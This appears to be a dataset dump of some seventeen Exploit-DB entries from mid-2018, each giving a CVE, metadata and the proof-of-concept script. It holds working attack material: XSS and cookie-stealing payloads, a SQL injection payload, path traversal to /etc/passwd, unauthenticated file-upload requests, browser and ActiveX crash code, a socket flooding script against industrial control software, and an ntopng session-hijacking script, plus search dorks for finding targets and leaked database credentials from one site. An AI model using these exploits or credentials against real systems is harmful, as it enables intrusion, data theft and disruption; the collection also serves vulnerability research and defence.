QLWD/code_shield huggingface dataset:
标题: MyBB New Threads Plugin 1.1 - Cross-Site Scripting EDB-ID: 45057 CVE: 2018-14392 类型: WEBAPPS 平台: PHP 发布日期: 2018-07-19 漏洞利用脚本: # Exploit Title: MyBB New Threads Plugin - Cross-Site Scripting
# Date: 7/16/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1143
# Version: 1.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14392


1. Description:
New Threads is a plugin that displays new threads on the index page. The thread titles allow XSS.
 

2. Proof of Concept:

- Create a new thread with the following subject  <script>alert('XSS')</script>
- Visit the index page to see alert.


3. Solution:
Update to 1.2 URL: https://www.exploit-db.com/exploits/45057
标题: MSVOD 10 - 'cid' SQL Injection EDB-ID: 45062 CVE: 2018-14418 类型: WEBAPPS 平台: PHP 发布日期: 2018-07-20 漏洞利用脚本: # Exploit Title: MSVOD V10 ¡V SQL Injection
# Google Dork: inurl:"images/lists?cid=13"
# Date: 2018/07/17
# Exploit Author: Hzllaga
# Vendor Homepage: http://www.msvod.cc/
# Version: MSVOD V10
# CVE : CVE-2018-14418
#Reference : https://www.wtfsec.org/2583/msvod-v10-sql-injection/

Payload:
/images/lists?cid=13%20)%20ORDER%20BY%201%20desc,extractvalue(rand(),concat(0x7c,database(),0x7c,user(),0x7c,@@version))%20desc%20--%20 URL: https://www.exploit-db.com/exploits/45062
标题: Open-AudIT Community 2.1.1 - Cross-Site Scripting EDB-ID: 45053 CVE: 2018-11124 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-07-18 漏洞利用脚本: #######################################
# Exploit Title: Open-AudIT Community - 2.1.1 - Cross Site Scripting Vulnerability
# Google Dork:NA
# #######################################
# Exploit Author: Ranjeet Jaiswal#
#######################################
# Vendor Homepage: https://opmantek.com/
# Software Link:http://dl-openaudit.opmantek.com/OAE-Win-x86_64-
release_2.2.1.exe
# Affected Version: 2.1.1
# Category: WebApps
# Tested on: Windows 10
# CVE : CVE-2018-11124
#
# 1. Vendor Description:
#
# Network Discovery and Inventory Software | Open-AudIT | Opmantek
Discover what's on your network
Open-AudIT is the world's leading network discovery, inventory and audit
program. Used by over 10,000 customers.
#
# 2. Technical Description:
#
# Cross-site scripting (XSS) vulnerability in Attributes functionality in
Open-AudIT Community edition before 2.2.2 allows remote attackers to inject
arbitrary web script or HTML via a crafted attribute name of a Attribute,
as demonstrated in below POC.
#
# 3. Proof Of Concept:

 3.1. Proof of Concept for Injecting html contain

# #Step to reproduce.
Step1:Login in to Open-Audit
Step2:Go to Attributes page
Step3:Select any attribute which are listed
Step4:click on details tab.
Step5:In the Name field put the  following payload and click submit.

<p>Sorry! We have moved! The new URL is: <a href="http://geektyper.com/">
Open-Audit</a></p>

Step6:Go to export tab and export using HTML Table
Step7:When user open download attribute.html file.You will see redirection
hyperlink.
Step8:When user click on link ,User will be redirected to Attacker or
malicious website.

 3.2. Proof of Concept for Injecting web script(Cross-site scripting(XSS))

 # #Step to reproduce.
Step1:Login in to Open-Audit
Step2:Go to Attributes page
Step3:Select any attribute which are listed
Step4:click on details tab.
Step5:In the Name field put the  following payload and click submit.

<script>alert(hack)</script>

Step6:Go to export tab and export using HTML Table
Step7:When user open download attribute.html file.Alert Popup will execute.



# 4. Solution:
#
# Upgrade to latest release of Open-AudIT version
# https://opmantek.com/network-tools-download/open-audit/ URL: https://www.exploit-db.com/exploits/45053
标题: Grundig Smart Inter@ctive 3.0 - Cross-Site Request Forgery EDB-ID: 45022 CVE: 2018-13989 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-07-13 漏洞利用脚本: # Exploit Title: Grundig Smart Inter@ctive 3.0 - Cross-Site Request Forgery
# Date: 2018-07-§3
# Exploit Author: Ahmethan-Gultekin - t4rkd3vilz
# Vendor Homepage: https://www.grundig.com/
# Software Link: https://play.google.com/store/apps/details?id=arcelik
# Version: Before > Smart Inter@ctive 3.0
# Tested on: Kali Linux
# CVE : CVE-2018-13989

# I'm trying my TV.I saw a Grundig remote control application on
# Google Play. Computer I downloaded and decompiled APK. 
# And I began to examine individual classes. I noticed in a class
# that a request was sent during operations on the command line.
# I downloaded the phone packet viewer and opened the control application and
# made some operations. And I saw that there was such a request;

# PoC

request ->
GET /sendrcpackage?keyid=-2544&keysymbol=-4081 HTTP/1.1
Host: 192.168.1.106:8085
Connection : Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)


response ->
HTTP/1.1 200 OK
Content-Type : text/plain

# Set rc key is handled for key id : -2544 key symbol : -4081
# The only requirement for the connection between the TV and the application
# was to have the same IP address. After I made the IP address on the TV 
# and the phone and the IP address on the computer the same: 
# I accessed the interface from the 8085 port. Now I could do anything from the computer :) URL: https://www.exploit-db.com/exploits/45022
标题: VelotiSmart WiFi B-380 Camera - Directory Traversal EDB-ID: 45030 CVE: 2018-14064 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-07-16 漏洞利用脚本: Title: Vulnerability in VelotiSmart Wifi - Directory Traversal
Date: 12-07-2018
Scope: Directory Traversal
Platforms: Unix
Author: Miguel Mendez Z
Vendor: VelotiSmart
Version: B380
CVE: CVE-2018–14064


Vulnerability description
-------------------------
- The vulnerability that affects the device is LFI type in the uc-http service 1.0.0. What allows to obtain information of configurations, wireless scanned networks, sensitive directories, etc. Of the device.

Vulnerable variable:
http://domain:80/../../etc/passwd

Exploit link:
https://github.com/s1kr10s/ExploitVelotiSmart

Poc:
https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac URL: https://www.exploit-db.com/exploits/45030
标题: Cela Link CLR-M20 2.7.1.6 - Arbitrary File Upload EDB-ID: 45021 CVE: 2018-15137 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-07-13 漏洞利用脚本: # Exploit Title: Cela Link CLR-M20 2.7.1.6 - Arbitrary File Upload
# Date: 2018-07-13
# Shodan Dork: CLR-M20
# Exploit Author: Safak Aslan
# Software Link: http://www.celalink.com
# Version: 2.7.1.6
# CVE: 2018-15137
# Authentication Required: No
# Tested on: Windows

# Vulnerability Description
# Due to the Via WebDAV (Web Distributed Authoring and Versioning),
# on the remote server, Cela Link CLR-M20 allows unauthorized users to upload
# any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes
# remote code execution as well.
# Due to the WebDAV, it is possible to upload the arbitrary
# file utilizing the PUT method.

# Proof-of-Concept
# Request

PUT /test.html HTTP/1.1
Host: targetIP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 26

the reflection of random numbers 1230123012

# Response

HTTP/1.1 201 Created
Content-Length: 0
Date: Fri, 13 Jul 2018 14:38:54 GMT
Server: lighttpd/1.4.20

As a result, on the targetIP/test.html, "the reflection of random numbers
1230123012" is reflected on the page. URL: https://www.exploit-db.com/exploits/45021
标题: G DATA Total Security 25.4.0.3 - Activex Buffer Overflow EDB-ID: 45017 CVE: 2018-10018 类型: DOS 平台: WINDOWS 发布日期: 2018-07-13 漏洞利用脚本: <!--
=====[ Tempest Security Intelligence - ADV-24/2018 ]===

G DATA TOTAL SECURITY v25.4.0.3 Activex Buffer Overflow
Author: Filipe Xavier Oliveira
Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]=====================================================

* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Overview]==============================================================

* System affected : G DATA TOTAL SECURITY [1].
* Software Version : 25.4.0.3 (other versions may also be affected).
* Impact : A user may be affected by opening a malicious black list
email in the antispam filter,

=====[ Detailed description]==================================================
The GDASPAMLib.AntiSpam ActiveX control ASK\GDASpam.dll in G DATA Total
Security 25.4.0.3 has a buffer overflow via a long IsBlackListed argument.
Through a long input in a member of class called Antispam, isblackedlist
class is vulnerable a buffer overflow.

A poc that causes a buffer overflow :
-->

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:B9D1548D-4339-485A-ABA2-F9F9C1CBF8AC' id='target' />
<script language='vbscript'>


'for debugging/custom prolog
targetFile = "C:\Program Files\G DATA\TotalSecurity\ASK\GDASpam.dll"
prototype = "Function IsBlackListed ( ByVal strIP As String ) As Long"
memberName = "IsBlackListed"
progid = "GDASPAMLib.AntiSpam"
argCount = 1

arg1=String(14356, "A")

target.IsBlackListed arg1

</script></job></package>

<!--
=====[ Timeline of disclosure]===============================================

04/10/2018 - Vulnerability reported.
04/17/2018 - The vendor will fix the vulnerability.
05/24/2017 - Vulnerability fixed.

07/12/2018 - CVE assigned [1]

=====[ Thanks & Acknowledgements]============================================

- Tempest Security Intelligence / Tempest's Pentest Team [3]

=====[ References]===========================================================

[1] https://www.gdatasoftware.com/

[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10018

[3] http://www.tempest.com.br 

=====[ EOF]====================================================================
--> URL: https://www.exploit-db.com/exploits/45017
标题: Microsoft Edge Chakra JIT - BoundFunction::NewInstance Out-of-Bounds Read EDB-ID: 45012 CVE: 2018-8139 类型: DOS 平台: WINDOWS 发布日期: 2018-07-12 漏洞利用脚本: /*
BoundFunction::NewInstance is used to handle calls to a bound function. The method first allocates a new argument array and copies the prepended arguments and others into the new argument array and calls the actual function. The problem is, it doesn't care about the CallFlags_ExtraArg flag which indicates that there's an extra argument (new.target in the PoC) at the end of the argument array. So the size of the new argument array created with the CallFlags_ExtraArg flag will be always 1 less then required, this leads to an OOB read.

PoC:
*/

function func() {
    new.target.x;
}

let bound = func.bind({}, 1);

Reflect.construct(bound, []); URL: https://www.exploit-db.com/exploits/45012
标题: Instagram-Clone Script 2.0 - Cross-Site Scripting EDB-ID: 45003 CVE: 2018-13849 类型: WEBAPPS 平台: PHP 发布日期: 2018-07-11 漏洞利用脚本: # Exploit Title: Instagram-clone Script 2.0 - Cross-Site Scripting
# Date: 2018-07-10
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/yTakkar/Instagram-clone
# Version: 2.0
# CVE: CVE-2018-13849
# Tested on: Kali linux

# POC : Persistent Cross site scripting :
# vulnerable file : edit_requests.php
# vulnerable code :

if (isset($_POST['username'])) {
      $username = preg_replace("#[<> ]#i", "", $_POST['username']);
      $firstname = preg_replace("#[<> ]#i", "", $_POST['firstname']);
      $surname = preg_replace("#[<> ]#i", "", $_POST['surname']);
      $bio = preg_replace("#[<>]#i", "", $_POST['bio']);
      $instagram = preg_replace("#[<>]#i", "", $_POST['instagram']);
      $youtube = preg_replace("#[<>]#i", "", $_POST['youtube']);
      $facebook = preg_replace("#[<>]#i", "", $_POST['facebook']);
      $twitter = preg_replace("#[<>]#i", "", $_POST['twitter']);
      $website = preg_replace("#[<>]#i", "", $_POST['website']);
      $mobile = preg_replace("#[^0-9]#i", "", $_POST['mobile']);
      $tags = preg_replace("#[\s]#", "-", $_POST['tags']);
 $session = $_SESSION['id'];

      $m=$edit->saveProfileEditing($username, $firstname, $surname, $bio,
$instagram, $youtube, $facebook, $twitter, $website, $mobile, $tags);
      $array = array("mssg" => $m);
      echo json_encode($array);
    }

# We use this payload to bypass filter :
# Payload : 

"onmouseover=" alert(document.cookie) URL: https://www.exploit-db.com/exploits/45003
标题: Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes EDB-ID: 45011 CVE: 2018-8145 类型: DOS 平台: WINDOWS 发布日期: 2018-07-12 漏洞利用脚本: /*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
} URL: https://www.exploit-db.com/exploits/45011
标题: Airties AIR5444TT - Cross-Site Scripting EDB-ID: 44986 CVE: 2018-8738 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-07-06 漏洞利用脚本: # Exploit Title: Airties AIR5444TT - Cross-Site Scripting
# Date: 2018-07-06 
# Exploit Author: Raif Berkay Dincel
# Vendor Homepage: airties.com 
# Software [http://www.airties.com.tr/support/dcenter/]
# Version: [1.0.0.18]
# CVE-ID: CVE-2018-8738
# Tested on: MacOS High Sierra / Linux Mint / Windows 10
 
# Vulnerable Parameter Type: GET 
# Vulnerable Parameter: 192.168.2.1/top.html?page=main&productboardtype= 
 
# Proof of Concepts:
 
192.168.2.1/top.html?page=main&productboardtype=<script>alert("Raif Berkay Dincel");</script>
 
http://192.168.2.1/top.html?page=main&productboardtype=%3Cscript%3Ealert(%22Raif%20Berkay%20Dincel%22);%3C/script%3E URL: https://www.exploit-db.com/exploits/44986
标题: Activision Infinity Ward Call of Duty Modern Warfare 2 - Buffer Overflow EDB-ID: 44987 CVE: 2018-10718 类型: REMOTE 平台: WINDOWS 发布日期: 2018-07-09 漏洞利用脚本: # Exploit Title: Stack-based buffer overflow in Activision Infinity Ward Call of Duty Modern Warfare 2
# Date: 14-12-2017
# Exploit Author: Maurice Heumann
# Contact: https://twitter.com/momo5502?lang=en
# Website: https://momo5502.com/
# CVE: CVE-2018-10718
# Category: webapps

1. Description

By sending a crafted network packet, it's possible construct a stack
overflow in Call of Duty: Modern Warfare (amongst other versions).

2. Proof of Concept

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44987.zip URL: https://www.exploit-db.com/exploits/44987
标题: Tor Browser < 0.3.2.10 - Use After Free (PoC) EDB-ID: 44994 CVE: 2018-0491 类型: DOS 平台: LINUX 发布日期: 2018-07-09 漏洞利用脚本: # Exploit Title: Tor Browser - Use After Free (PoC)
# Date: 09.07.2018
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.torproject.org/ 
# Software Link: https://www.torproject.org/download/download-easy.html.en
# Version: Tor 0.3.2.x before 0.3.2.10
# Tested on: Kali Linux
# CVE : CVE-2018-0491

#Run exploit, result DOS


<!DOCTYPE html>
<html>
<title>veryhandsome jameel naboo</title>
<body>
<script>
function send()
{
try { document.body.contentEditable = 'true'; } catch(e){}
try { var e0 = document.createElement("frameset"); } catch(e){}
try { document.body.appendChild(e0); } catch(e){}
try { e0.appendChild(document.createElement("BBBBBBBBBBBBBBB")); } catch(e){}
try {
e0.addEventListener("DOMAttrModified",function(){document.execCommand("SelectAll");e0['bo
rder']='-4400000000';}, false); e0.focus();} catch(e){}
try { e0.setAttribute('iframe'); } catch(e){}
try { document.body.insertBefore(e0); } catch(e){}
}
send();</script></html> URL: https://www.exploit-db.com/exploits/44994
标题: ShopNx - Arbitrary File Upload EDB-ID: 44978 CVE: 2018-12519 类型: WEBAPPS 平台: PHP 发布日期: 2018-07-04 漏洞利用脚本: # Exploit Title: ShopNx - Angular5 Single Page Shopping Cart Application 1 - Arbitrary File Upload
# Date: 2018-07-03
# Exploit Author: L0RD
# Email: borna.nematzadeh123@gmail.com
# Vendor Homepage: http://codenx.com/
# Version: 1
# CVE: CVE-2018-12519
# Tested on: Win 10
===================================================
# Description :
ShopNx 1 is an Angular 5 single page application which suffers from
arbitrary file upload vulnerability .
Attacker can upload malicious files on server because
the application fails to sufficiently sanitize user-supplied input.

# POC :
1) Login as a regular user and navigate to "edit profile"
2) Click on "Avatar" and upload your HTML file which contains malicious javascript code.
3) You can find your uploaded file here :
   Path : http://shop.codenx.com/uploads/[Your File]


# Request :
=========================
POST /api/media HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site.com/account/edit-profile
Content-Length: 367
Content-Type: multipart/form-data;
boundary=---------------------------31031276124582
Connection: keep-alive

-----------------------------31031276124582
Content-Disposition: form-data; name="file"; filename="file.html"
Content-Type: text/html

<html>
<head>
<title>TEST</title>
</head>
<body>
    <script>
        console.log(document.cookie);
    </script>
</body>
</html>
-----------------------------31031276124582--

==================================================== URL: https://www.exploit-db.com/exploits/44978
标题: Online Trade - Information Disclosure EDB-ID: 44977 CVE: 2018-12908 类型: WEBAPPS 平台: PHP 发布日期: 2018-07-04 漏洞利用脚本: # Exploit Title: Online Trade 1 - Information Disclosure
# Date: 2018-07-03
# Exploit Author: L0RD
# Vendor Homepage:
https://codecanyon.net/item/online-trade-online-forex-and-cryptocurrency-investment-system/21987193?s_rank=14
# CVE: CVE-2018-12908
# Version: 1
# Tested on: Win 10
=======================================
# Description :
Online trading and cryptocurrency investment system 1 allows
information disclosure by appending /dashboard/deposit.
The following path contains database credentials and other information
(username , password , database_name etc).

# POC :

# Request :
===================
GET /dashboard/deposit HTTP/1.1
Host: trade.brynamics.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
===================
# Response :
===================
HTTP/1.1 405 Method Not Allowed
Date: Tue, 12 Jun 2018 21:21:45 GMT
Server: Apache
X-Powered-By: PHP/7.0.30
allow: POST
Cache-Control: no-cache, private
Content-Type: text/html; charset=UTF-8
Content-Length: 371161

<td>APP_ENV</td><span class=sf-dump-str title="5
characters">local</span></td>
<td>APP_KEY</td><span class=sf-dump-str title="51
characters">base64:NyL/WHTpZ0IhYKu7hHAzpF/Pvqn7+dD87tgpVvvEZrg=</span></td>
<td>APP_URL</td><span class=sf-dump-str title="16 characters">
http://localhost</span></td>
<td>DB_CONNECTION</td><span class=sf-dump-str title="5
characters">mysql</span></td>
<td>DB_HOST</td><span class=sf-dump-str title="9
characters">127.0.0.1</span></td>
<td>DB_PORT</td><span class=sf-dump-str title="4
characters">3306</span></td>
<td>DB_DATABASE</td><span class=sf-dump-str title="14
characters">torrpgug_trade</span></td>
<td>DB_USERNAME</td><span class=sf-dump-str title="15
characters">torrpgug_p2pguy</span></td>
<td>DB_PASSWORD</td><span class=sf-dump-str title="15
characters">undisputed@2017</span></td>
<td>MAIL_HOST</td><span class=sf-dump-str title="16 characters">
smtp.mailtrap.io</span></td>
<td>MAIL_PORT</td><span class=sf-dump-str title="4 characters">2525</span>
======================================== URL: https://www.exploit-db.com/exploits/44977
标题: Delta Industrial Automation COMMGR 1.08 - Stack Buffer Overflow (PoC) EDB-ID: 44965 CVE: 2018-10594 类型: DOS 平台: HARDWARE 发布日期: 2018-07-02 漏洞利用脚本: # Exploit Title: Delta Electronics Delta Industrial Automation COMMGR
- Remote STACK-BASED BUFFER OVERFLOW
# Date: 02.07.2018
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.deltaww.com/
# Software Link: http://www.deltaww.com/Products/PluginWebUserControl/downloadCenterCounter.aspx?DID=2093&DocPath=1&hl=en-US
# Version:
COMMGR Version 1.08 and prior.
   DVPSimulator EH2, EH3, ES2, SE, SS2
   AHSIM_5x0, AHSIM_5x1
# Tested on: Kali Linux
# CVE : CVE-2018-10594


#Run exploit, result DOS

import socket


ip = raw_input("[+] IP to attack: ")

sarr = []
i = 0
while True:
    try:
        sarr.append(socket.create_connection((ip,80)))
        print "[+] Connection %d" % i
        crash1 = "\x41"*4412 +"\X42"*1000
        sarr[i].send(crash1+'\r\n')
        i+=1
    except socket.error:
        print "[*] Server crashed "
        raw_input()
        break URL: https://www.exploit-db.com/exploits/44965
标题: ntop-ng < 3.4.180617 - Authentication Bypass EDB-ID: 44973 CVE: 2018-12520 类型: WEBAPPS 平台: LUA 发布日期: 2018-07-03 漏洞利用脚本: '''
# Vulnerability title: ntop-ng < 3.4.180617 - Authentication Bypass
# Author: Ioannis Profetis
# Contact: me at x86.re
# Vulnerable versions: < 3.4.180617-4560
# Fixed version: 3.4.180617
# Link: ntop.org
# Date: 2.07.2018
# CVE-2018-12520

# Product Details
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.

# Vulnerability Details
An issue was discovered in ntopng 3.4. 
The PRNG involved in the generation of session IDs is not seeded at program startup. 
This results in deterministic session IDs being allocated for active user sessions. An attacker with foreknowledge of the operating system and standard library in use by the host running the service and the username of the user whose session they're targeting can abuse the deterministic random number generation in order to hijack the user's session, thus escalating their access.

# Exploit
A proof-of-concept for this vulnerability can be found below. Note that this script has been tested with Python 2.7, and requires the 'requests' module, which can be found in the Python Package Index.
'''

import requests
import sys
import hashlib
from ctypes import *
libc = CDLL('libc.so.6')

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print('[-] Usage: python poc.py <host> <username>')
        sys.exit(1)

    host, username = sys.argv[1:]
    for i in range(256):
        print('[*] Trying with rand() iteration %d...' % i)
        session = hashlib.md5(('%d' % libc.rand()) + username).hexdigest()
        r = requests.get(host + '/lua/network_load.lua', cookies={'user': username, 'session': session})
        if r.status_code == 200:
            print('[+] Got it! Valid session cookie is %s for username %s.' % (session, username))
            break

'''
# Mitigation
Upgrade to the latest stable version of ntop-ng 3.4.

# Attack Type
Remote, Unauthenticated, Escalation of Privileges, Information Disclosure
''' URL: https://www.exploit-db.com/exploits/44973